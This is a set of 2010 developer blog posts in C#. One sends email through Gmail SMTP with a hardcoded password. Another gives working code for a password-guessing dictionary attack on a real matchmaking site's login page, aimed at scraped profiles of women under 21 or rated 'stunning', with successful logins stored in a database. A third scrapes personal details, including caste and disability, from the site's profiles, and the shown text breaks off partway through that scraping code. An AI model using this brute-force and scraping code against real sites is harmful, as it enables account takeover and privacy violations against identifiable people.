Software Architecture-C#-Send email via Google smtp server with attachment

December 26, 2010

Following code send email via Google smtp server with attachment.

           ///Basic Email message 
            MailMessage mailMessage = new MailMessage();
            // Email to send to
            MailAddress toEmail = new MailAddress("shahzadsb@yahoo.com", "Shahzad Sarwar");
            mailMessage.To.Add(toEmail);            
            // set subject
            mailMessage.Subject = "My Email Subject.....";            
            // set body
            mailMessage.Body = "My Email Body..................";
            mailMessage.IsBodyHtml = true;
            // attachment
            System.Net.Mail.Attachment attachment;
            attachment = new System.Net.Mail.Attachment("G:\\test.txt");
            mailMessage.Attachments.Add(attachment);
            // set from email
            mailMessage.From = new MailAddress("shahzadsb78@gmail.com", "Shahzad Sarwar");
            // Identify the credentials to login to the gmail account  
            string sendEmailsFrom = "shahzadsb78@gmail.com";            
            string sendEmailsFromPassword = "888888";
            NetworkCredential cred = new NetworkCredential(sendEmailsFrom, sendEmailsFromPassword);
            SmtpClient mailClient = new SmtpClient("smtp.gmail.com", 587);
            mailClient.EnableSsl = true;
            mailClient.DeliveryMethod = SmtpDeliveryMethod.Network;
            mailClient.UseDefaultCredentials = false;
            mailClient.Timeout = 20000;
            mailClient.Credentials = cred;
            mailClient.Send(mailMessage);

Search for life partner-A Software Architect experiences-Part-2

December 26, 2010

This is second post with reference to subject “Search for life partner-A Software Architect experiences”
In first part at Search for life partner-A Software Architect experiences-Part-1, we extracted profiles from http://www.shaadionline.tv by Geo and saved in local SQL Server Database, so that we can search each and every field of profile with all possible combinations.

So we solved the first problem. Second problem was that I wanted some userid/password to login to their profile. So in order to solve this problem, I decided to try dictionary attack on their web site with hit and try strategy.
So objective of this post is to extract the week passwords from http://www.shaadionline.tv by Geo.
Follow steps as:
1. So I identified possible passwords and declared in an array of string as:

string[] lstPossiblePasswords = { "1", "12", "123", "1234", "12345", "123456", "1234567", "12345678", "123456789", "1234567890", "21", "321", "4321", "54321", "654321", "7654321", "87654321", "987654321", "0987654321", "a", "ab", "abc", "abcd", "abcde", "abcdef","ba","cba","dcba" ,"edcba","fedcba","abc123","pass","password","pass1","pass12","pass123","pass21","pass321","shaadi","shaadioline"};

2. I decided to use the profile extracted in part 1 as starting point for dictionary attack.So I decided starting point criteria as:

    var q = from p in dbx.Profiles
                    where p.EducationDetails.ToLower().Contains("psych")
                    ||  p.EducationDetails.ToLower().Contains("bba")
                    ||  p.EducationDetails.ToLower().Contains("bcs")
                    ||  p.EducationDetails.ToLower().Contains("computer")
                    ||  p.Looks.ToLower().Contains("stun")
                    ||  p.Age < 21
                    orderby p.GID descending
                    select  p;
        

3. For this activity I created 2 new tables: Users table for saving verified/confirmed passwords.

CREATE TABLE [dbo].[Users](
	[Id] [int] IDENTITY(1,1) NOT NULL,
	[GID] [int] NULL,
	[ProfileId] [varchar](500) NULL,
	[Password] [varchar](500) NULL,
 CONSTRAINT [PK_Users] PRIMARY KEY CLUSTERED 
(
	[Id] ASC
)WITH (PAD_INDEX  = OFF, STATISTICS_NORECOMPUTE  = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS  = ON, ALLOW_PAGE_LOCKS  = ON) ON [PRIMARY]
) ON [PRIMARY]

GO

SET ANSI_PADDING OFF
GO

PasswordSearch Table for tracking profile ids on which dictionary attack has been tried.

CREATE TABLE [dbo].[PasswordSearch](
	[Id] [int] IDENTITY(1,1) NOT NULL,
	[GID] [int] NULL,
 CONSTRAINT [PK_PasswordSearch] PRIMARY KEY CLUSTERED 
(
	[Id] ASC
)WITH (PAD_INDEX  = OFF, STATISTICS_NORECOMPUTE  = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS  = ON, ALLOW_PAGE_LOCKS  = ON) ON [PRIMARY]
) ON [PRIMARY]

GO

4. Add all the 3 tables in linq 2 sql designer and build solution once and put following code in event handler of a button.

    DataClassesShaadiOnlineDataContext dbx = new DataClassesShaadiOnlineDataContext();
 
            var q = from p in dbx.Profiles
                    where p.EducationDetails.ToLower().Contains("psych")
                    ||  p.EducationDetails.ToLower().Contains("bba")
                    ||  p.EducationDetails.ToLower().Contains("bcs")
                    ||  p.EducationDetails.ToLower().Contains("computer")
                    ||  p.Looks.ToLower().Contains("stun")
                    ||  p.Age < 21
                    orderby p.GID descending
                    select  p;
            
            //q.OrderByDescending<Profile>("GID");
            foreach (var item in q)
            {
                foreach (var itemi in lstPossiblePasswords)
                {
                    string URL = "http://www.shaadionline.tv/chklogin.asp?camefrom=acc" + "&loginid="+item.ProfileID+"&pass1="+itemi;
                    string result = DownloadWebPage(URL);
                    if (!result.Contains("Please enter correct UserID and Password"))
                    {
                        User user = new User();
                        user.GID = item.GID;
                        user.ProfileId = item.ProfileID;
                        user.Password = itemi;
                        dbx.Users.InsertOnSubmit(user);
                        dbx.SubmitChanges();
                    }                    
                }
                PasswordSearch ps = new PasswordSearch();
                ps.GID = item.GID;
                dbx.PasswordSearches.InsertOnSubmit(ps);
                dbx.SubmitChanges();
            }
        

The above code loads profiles extracting in step 1 by applying some criteria ( those who are doing bbs,bcs,psych* and having stun* look and age is less then 21 years). Then each profile is tried against possible passwords by hitting on login url and if userid/password combination is verified /confirmed as correct, then it is saved in user database.
5. Following function is used for hitting for userid/password on web site.

  /// <summary>
        /// Returns the content of a given web adress as string.
        /// </summary>
        /// <param name="Url">URL of the webpage</param>
        /// <returns>Website content</returns>
        public string DownloadWebPage(string Url)
        {
            // Open a connection
            HttpWebRequest WebRequestObject = (HttpWebRequest)HttpWebRequest.Create(Url);
 
            // You can also specify additional header values like 
            // the user agent or the referer:
            WebRequestObject.UserAgent = ".NET Framework/2.0";
      
            WebRequestObject.Referer = "http://www.example.com/";
 
            // Request response:
            WebResponse Response = WebRequestObject.GetResponse();
 
            // Open data stream:
            Stream WebStream = Response.GetResponseStream();
 
            // Create reader object:
            StreamReader Reader = new StreamReader(WebStream);
 
            // Read the entire stream content:
            string PageContent = Reader.ReadToEnd();
 
            
            // Cleanup
            Reader.Close();
            WebStream.Close();
            Response.Close();
 
            return PageContent;
        }

So by this activity we can extract profiles with week passwords.

Best of luck for searching of life partner as Software professionals.

Note: It is not that i am exposing some secrete. Any programmer can do that easily. I warned to Shaadionline and Geo team about the week security in written back in 2005-2006. But they have not taken any action about its security up till now. That is very is appointing to me.


Search for life partner-A Software Architect experiences-Part-1

December 25, 2010

Searching for ideal life partner is very critical. I gone though this process and figure out that women’s are like an onion-Layers[chelka(Cover)] then Layers and at the end you are left with nothing in hand….:)

I searched few match making services online. There are many in competition. But the best and free service is http://www.shaadionline.tv by Geo.
I tried to register by following online registration process. But didn’t got any confirmation even after weeks. I sent them emails about all but in vain.

So I encountered two problems.
1. Search provided by them don’t let you search on basis of good habit, bad habits and profile description. Even what ever was available was scattered in 4 types. So in general it was a very non user friendly search.
[Reference: http://www.shaadionline.tv/search.asp%5D
2. Secondly I needed some account to login to their systems.

In order to solve the first problem, I decided to perform data scraping on their webs site.
So basic strategy is that we will traverse the profile page in sequence, down load the page and split page content to extract the meaning full data and then save data into database table.
Follow steps as:
1. After analyzing data structure of candidate profile, i create a basic profiles table in a new database as:

CREATE TABLE [dbo].[Profiles](
	[ID] [int] IDENTITY(1,1) NOT NULL,
	[GID] [int] NULL,
	[Name] [varchar](500) NULL,
	[ProfileID] [varchar](500) NULL,
	[PostedBy] [varchar](500) NULL,
	[ProfileCreated] [varchar](500) NULL,
	[Sex] [varchar](50) NULL,
	[Age] [int] NULL,
	[MarrStatus] [varchar](500) NULL,
	[Religion] [varchar](500) NULL,
	[Language] [varchar](500) NULL,
	[City] [varchar](500) NULL,
	[Country] [varchar](500) NULL,
	[BornIn] [varchar](500) NULL,
	[Citizen] [varchar](500) NULL,
	[Height] [varchar](500) NULL,
	[Waist] [varchar](500) NULL,
	[Complexion] [varchar](500) NULL,
	[Looks] [varchar](500) NULL,
	[Disability] [varchar](500) NULL,
	[Star] [varchar](500) NULL,
	[Sect] [varchar](500) NULL,
	[Caste] [varchar](500) NULL,
	[DependentMembers] [int] NULL,
	[PreferredSetup] [varchar](500) NULL,
	[ReligiousLevel] [varchar](500) NULL,
	[FirstChoiceofFood] [varchar](500) NULL,
	[TVProgram] [varchar](500) NULL,
	[PreferredHoneymoonPlace] [varchar](500) NULL,
	[Education] [varchar](500) NULL,
	[Occupation] [varchar](500) NULL,
	[MonthlyIncome] [varchar](500) NULL,
	[EducationDetails] [varchar](500) NULL,
	[MoreAboutMe] [varchar](500) NULL,
	[MyHabits] [varchar](500) NULL,
	[MyBadHabits] [varchar](500) NULL,
 CONSTRAINT [PK_Profiles] PRIMARY KEY CLUSTERED 
(
	[ID] ASC
)WITH (PAD_INDEX  = OFF, STATISTICS_NORECOMPUTE  = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS  = ON, ALLOW_PAGE_LOCKS  = ON) ON [PRIMARY]
) ON [PRIMARY]

GO

SET ANSI_PADDING OFF
GO

2. Create a new WPF project in Visual studio , add linq 2 sql project item, add the table created above into linq 2 sql designer and compile the project once.

3. Analyze the code below.

        /// <summary>
        /// Returns the content of a given web adress as string.
        /// </summary>
        /// <param name="Url">URL of the webpage</param>
        /// <returns>Website content</returns>
        public string DownloadWebPage(string Url)
        {
            // Open a connection
            HttpWebRequest WebRequestObject = (HttpWebRequest)HttpWebRequest.Create(Url);
 
            // You can also specify additional header values like 
            // the user agent or the referer:
            WebRequestObject.UserAgent = ".NET Framework/2.0";
      
            WebRequestObject.Referer = "http://www.example.com/";
 
            // Request response:
            WebResponse Response = WebRequestObject.GetResponse();
 
            // Open data stream:
            Stream WebStream = Response.GetResponseStream();
 
            // Create reader object:
            StreamReader Reader = new StreamReader(WebStream);
 
            // Read the entire stream content:
            string PageContent = Reader.ReadToEnd();
 
            
            // Cleanup
            Reader.Close();
            WebStream.Close();
            Response.Close();
 
            return PageContent;
        }
 
        /// <summary>
        /// this function perfoem data scrapping on shaaadionline.tv profile page.
        /// </summary>
        /// <param name="pageContent">Content of profile page as string</param>
        /// <param name="i"> id key used by shaadionline.tv profile page</param>
        public void ProcessWebPage( string pageContent , int i)
        {
            try
            {
                DataClassesShaadiOnlineDataContext dbx = new DataClassesShaadiOnlineDataContext();
                Profile pro = new Profile();
 
                pro.GID = i;
 
                string NextPart0 = pageContent.Substring(pageContent.IndexOf("Details of"));
                pro.Name = NextPart0.Substring(36, NextPart0.IndexOf("</b>") - NextPart0.IndexOf("<b>") - 3);
 
                string NextPart00 = pageContent.Substring(pageContent.IndexOf("(Profile ID:"));
                pro.ProfileID = NextPart00.Substring(13, NextPart00.IndexOf(")") - NextPart00.IndexOf("sol"));
 
                // Posted by
                string NextPart = pageContent.Substring(pageContent.IndexOf("Posted"));
                pro.PostedBy = NextPart.Substring(NextPart.IndexOf("<b>") + 3, NextPart.IndexOf("</b>") - NextPart.IndexOf("<b>") - 3);
 
                //ProfileCreated
                NextPart = pageContent.Substring(pageContent.IndexOf("Created on:"));
                pro.ProfileCreated = NextPart.Substring(NextPart.IndexOf("<b>") + 3, NextPart.IndexOf("</b>") - NextPart.IndexOf("<b>") - 3);
 
                //Sex
                string NextPart2 = NextPart.Substring(NextPart.IndexOf("<td class=\"normaltext\" height=\"22\" width=\"97%\"><span class=\"details\">"));
                pro.Sex = NextPart2.Substring(NextPart2.IndexOf("<b>") + 3, NextPart2.IndexOf("</b>") - NextPart2.IndexOf("<b>") - 3);
                if (pro.Sex != "She")
                    return;
 
                //Age
                string NextPart3 = NextPart2.Substring(NextPart2.IndexOf("is"));
                pro.Age = Convert.ToInt32(NextPart3.Substring(NextPart3.IndexOf("<b>") + 3, NextPart3.IndexOf("</b>") - NextPart3.IndexOf("<b>") - 3));
 
                //MarrStatus
                string NextPart4 = NextPart3.Substring(NextPart3.IndexOf(","));
                pro.MarrStatus = NextPart4.Substring(NextPart4.IndexOf("<b>") + 3, NextPart4.IndexOf("</b>") - NextPart4.IndexOf("<b>") - 3);
 
                //Religion
                string NextPart5 = NextPart4.Substring(NextPart4.IndexOf(",", 3));
                pro.Religion = NextPart5.Substring(NextPart5.IndexOf("<b>") + 3, NextPart5.IndexOf("</b>") - NextPart5.IndexOf("<b>") - 3);
 
                //Language
                string NextPart6 = NextPart5.Substring(NextPart5.IndexOf("&nbsp;", 5));
                pro.Language = NextPart6.Substring(NextPart6.IndexOf("<b>") + 3, NextPart6.IndexOf("</b>") - NextPart6.IndexOf("<b>") - 3);
 
                //living in
                string NextPart7 = NextPart6.Substring(NextPart6.IndexOf("living in"));
                pro.City = NextPart7.Substring(NextPart7.IndexOf("<b>") + 3, NextPart7.IndexOf("</b>") - NextPart7.IndexOf("<b>") - 3);
 
                //Country
                string NextPart07 = NextPart7.Substring(NextPart7.IndexOf(","));
                pro.Country = NextPart07.Substring(NextPart07.IndexOf("<b>") + 3, NextPart07.IndexOf("</b>") - NextPart07.IndexOf("<b>") - 3);
 
                //BornIn
                string NextPart8 = NextPart7.Substring(NextPart7.IndexOf("was born in"));
                pro.BornIn = NextPart8.Substring(NextPart8.IndexOf("<b>") + 3, NextPart8.IndexOf("</b>") - NextPart8.IndexOf("<b>") - 3);
 
                //Citizen
                string NextPart9 = NextPart8.Substring(NextPart8.IndexOf("is a citizen of"));
                pro.Citizen = NextPart9.Substring(NextPart9.IndexOf("<b>") + 3, NextPart9.IndexOf("</b>") - NextPart9.IndexOf("<b>") - 3);
 
 
                //Next Age
                string NextPart10 = NextPart9.Substring(NextPart9.IndexOf("<td colspan=\"3\" class=\"details\"><b class=\"text\">Personal \r\n                                    Information</b></td>\r\n                                </tr>\r\n                                <tr valign=\"top\" bgcolor=\"FFF7F8\"> \r\n"));
                pro.Age = Convert.ToInt32(NextPart10.Substring(NextPart10.IndexOf("<td width=\"42%\" class=\"blocktext\">&nbsp;Age</td>\r\n                                  <td width=\"4%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"54%\" class=\"blocktext\">") + "<td width=\"42%\" class=\"blocktext\">&nbsp;Age</td>\r\n                                  <td width=\"4%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"54%\" class=\"blocktext\">".Length, NextPart10.IndexOf("&nbsp;</td>\r\n") - (NextPart10.IndexOf("<td width=\"42%\" class=\"blocktext\">&nbsp;Age</td>\r\n                                  <td width=\"4%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"54%\" class=\"blocktext\">") + "<td width=\"42%\" class=\"blocktext\">&nbsp;Age</td>\r\n                                  <td width=\"4%\" class=\"blocktext\">:</td>\r\n                                  <td width=\"54%\" class=\"blocktext\">".Length)));
 
 
                //Next Height
                string NextPart11 = NextPart10.Substring(NextPart10.IndexOf("<td width=\"42%\" class=\"blocktext\">&nbsp;Height</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">"));
                pro.Height = NextPart11.Substring(NextPart11.IndexOf("<td width=\"42%\" class=\"blocktext\">&nbsp;Height</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">") + "<td width=\"42%\" class=\"blocktext\">&nbsp;Height</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">".Length, NextPart11.IndexOf("</td>\r\n                                </tr>\r\n                                ") - (NextPart11.IndexOf("<td width=\"42%\" class=\"blocktext\">&nbsp;Height</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">5 \r\n") + "<td width=\"42%\" class=\"blocktext\">&nbsp;Height</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">".Length));
 
                //Next Waist
                string NextPart12 = NextPart11.Substring(NextPart11.IndexOf("<td width=\"42%\" class=\"blocktext\" bgcolor=\"FFF7F8\">&nbsp;Waist</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">"));
                pro.Waist = NextPart12.Substring(NextPart12.IndexOf("<td width=\"42%\" class=\"blocktext\" bgcolor=\"FFF7F8\">&nbsp;Waist</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">") + "<td width=\"42%\" class=\"blocktext\" bgcolor=\"FFF7F8\">&nbsp;Waist</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">".Length, NextPart12.IndexOf("</td>\r\n                                </tr>\r\n                                ") - (NextPart12.IndexOf("<td width=\"42%\" class=\"blocktext\" bgcolor=\"FFF7F8\">&nbsp;Waist</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">") + "<td width=\"42%\" class=\"blocktext\" bgcolor=\"FFF7F8\">&nbsp;Waist</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">".Length));
 
 
                //Next Complexion
                string NextPart13 = NextPart12.Substring(NextPart12.IndexOf("<tr valign=\"top\" bgcolor=\"FFF7F8\"> \r\n                                  <td width=\"42%\" class=\"blocktext\" bgcolor=\"FFF7F8\">&nbsp;Complexion</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">"));
                pro.Complexion = NextPart13.Substring(NextPart13.IndexOf("<tr valign=\"top\" bgcolor=\"FFF7F8\"> \r\n                                  <td width=\"42%\" class=\"blocktext\" bgcolor=\"FFF7F8\">&nbsp;Complexion</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">") + "<tr valign=\"top\" bgcolor=\"FFF7F8\"> \r\n                                  <td width=\"42%\" class=\"blocktext\" bgcolor=\"FFF7F8\">&nbsp;Complexion</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">".Length, NextPart13.IndexOf("</td>\r\n                                </tr>\r\n                                ") - (NextPart13.IndexOf("<tr valign=\"top\" bgcolor=\"FFF7F8\"> \r\n                                  <td width=\"42%\" class=\"blocktext\" bgcolor=\"FFF7F8\">&nbsp;Complexion</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">") + "<tr valign=\"top\" bgcolor=\"FFF7F8\"> \r\n                                  <td width=\"42%\" class=\"blocktext\" bgcolor=\"FFF7F8\">&nbsp;Complexion</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">".Length));
 
 
                //Next Looks
                string NextPart14 = NextPart13.Substring(NextPart13.IndexOf("<td width=\"42%\" class=\"blocktext\">&nbsp;Looks</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">"));
                pro.Looks = NextPart14.Substring(NextPart14.IndexOf("<td width=\"42%\" class=\"blocktext\">&nbsp;Looks</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">") + "<td width=\"42%\" class=\"blocktext\">&nbsp;Looks</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">".Length, NextPart14.IndexOf("</td>\r\n                                </tr>\r\n                                ") - (NextPart14.IndexOf("<td width=\"42%\" class=\"blocktext\">&nbsp;Looks</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">") + "<td width=\"42%\" class=\"blocktext\">&nbsp;Looks</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">".Length));
 
                //Next Disability
                string NextPart15 = NextPart14.Substring(NextPart14.IndexOf("<td width=\"42%\" class=\"blocktext\">&nbsp;Disability</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">"));
                pro.Disability = NextPart15.Substring(NextPart15.IndexOf("<td width=\"42%\" class=\"blocktext\">&nbsp;Disability</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">") + "<td width=\"42%\" class=\"blocktext\">&nbsp;Disability</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">".Length, NextPart15.IndexOf("</td>\r\n                                </tr>\r\n                                ") - (NextPart15.IndexOf("<td width=\"42%\" class=\"blocktext\">&nbsp;Disability</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">") + "<td width=\"42%\" class=\"blocktext\">&nbsp;Disability</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">".Length));
 
                //Next Star
                string NextPart16 = NextPart15.Substring(NextPart15.IndexOf("<td width=\"42%\" class=\"blocktext\">&nbsp;Star</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">"));
                pro.Star = NextPart16.Substring(NextPart16.IndexOf("<td width=\"42%\" class=\"blocktext\">&nbsp;Star</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">") + "<td width=\"42%\" class=\"blocktext\">&nbsp;Star</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">".Length, NextPart16.IndexOf("</td>\r\n                                </tr>\r\n                                ") - (NextPart16.IndexOf("<td width=\"42%\" class=\"blocktext\">&nbsp;Star</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">") + "<td width=\"42%\" class=\"blocktext\">&nbsp;Star</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">".Length));
 
                //Next Sect
                string NextPart17 = NextPart16.Substring(NextPart16.IndexOf("<td width=\"42%\" class=\"blocktext\">&nbsp;Sect</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">"));
                pro.Sect = NextPart17.Substring(NextPart17.IndexOf("<td width=\"42%\" class=\"blocktext\">&nbsp;Sect</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">") + "<td width=\"42%\" class=\"blocktext\">&nbsp;Sect</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">".Length, NextPart17.IndexOf("</td>\r\n                                </tr>\r\n                                ") - (NextPart17.IndexOf("<td width=\"42%\" class=\"blocktext\">&nbsp;Sect</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">") + "<td width=\"42%\" class=\"blocktext\">&nbsp;Sect</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">".Length));
 
                //Next Caste
                string NextPart18 = NextPart17.Substring(NextPart17.IndexOf("<td width=\"42%\" class=\"blocktext\" bgcolor=\"FFF7F8\" height=\"30\">&nbsp;Caste</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">"));
                pro.Caste = NextPart18.Substring(NextPart18.IndexOf("<td width=\"42%\" class=\"blocktext\" bgcolor=\"FFF7F8\" height=\"30\">&nbsp;Caste</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">") + "<td width=\"42%\" class=\"blocktext\" bgcolor=\"FFF7F8\" height=\"30\">&nbsp;Caste</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">".Length, NextPart18.IndexOf("</td>\r\n                                </tr>\r\n                              ") - (NextPart18.IndexOf("<td width=\"42%\" class=\"blocktext\" bgcolor=\"FFF7F8\" height=\"30\">&nbsp;Caste</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">") + "<td width=\"42%\" class=\"blocktext\" bgcolor=\"FFF7F8\" height=\"30\">&nbsp;Caste</td>\r\n                                  <td width=\"4%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"54%\" class=\"blocktext\">".Length));
 
 
                //Next DependentMembers
                string NextPart19 = NextPart18.Substring(NextPart18.IndexOf("<td width=\"51%\" class=\"blocktext\">Dependent \r\n                                    Members </td>\r\n                                  <td width=\"5%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"44%\" class=\"blocktext\">"));
                pro.DependentMembers = Convert.ToInt32(NextPart19.Substring(NextPart19.IndexOf("<td width=\"51%\" class=\"blocktext\">Dependent \r\n                                    Members </td>\r\n                                  <td width=\"5%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"44%\" class=\"blocktext\">") + "<td width=\"51%\" class=\"blocktext\">Dependent \r\n                                    Members </td>\r\n                                  <td width=\"5%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"44%\" class=\"blocktext\">".Length, NextPart19.IndexOf("</td>\r\n                                </tr>\r\n                                ") - (NextPart19.IndexOf("<td width=\"51%\" class=\"blocktext\">Dependent \r\n                                    Members </td>\r\n                                  <td width=\"5%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"44%\" class=\"blocktext\">") + "<td width=\"51%\" class=\"blocktext\">Dependent \r\n                                    Members </td>\r\n                                  <td width=\"5%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"44%\" class=\"blocktext\">".Length)));
 
 
                //Next PreferredSetup
                string NextPart20 = NextPart19.Substring(NextPart19.IndexOf("<td width=\"51%\" class=\"blocktext\" bgcolor=\"FFF7F8\">Preferred \r\n                                    Setup </td>\r\n                                  <td width=\"5%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"44%\" class=\"blocktext\">"));
                pro.PreferredSetup = NextPart20.Substring(NextPart20.IndexOf("<td width=\"51%\" class=\"blocktext\" bgcolor=\"FFF7F8\">Preferred \r\n                                    Setup </td>\r\n                                  <td width=\"5%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"44%\" class=\"blocktext\">") + "<td width=\"51%\" class=\"blocktext\" bgcolor=\"FFF7F8\">Preferred \r\n                                    Setup </td>\r\n                                  <td width=\"5%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"44%\" class=\"blocktext\">".Length, NextPart20.IndexOf("</td>\r\n                                </tr>\r\n                                ") - (NextPart20.IndexOf("<td width=\"51%\" class=\"blocktext\" bgcolor=\"FFF7F8\">Preferred \r\n                                    Setup </td>\r\n                                  <td width=\"5%\" class=\"blocktext\"> \r\n                                    <div align=\"left\">:</div>\r\n                                  </td>\r\n                                  <td width=\"44%\" class=\"blocktext\">") + "<td 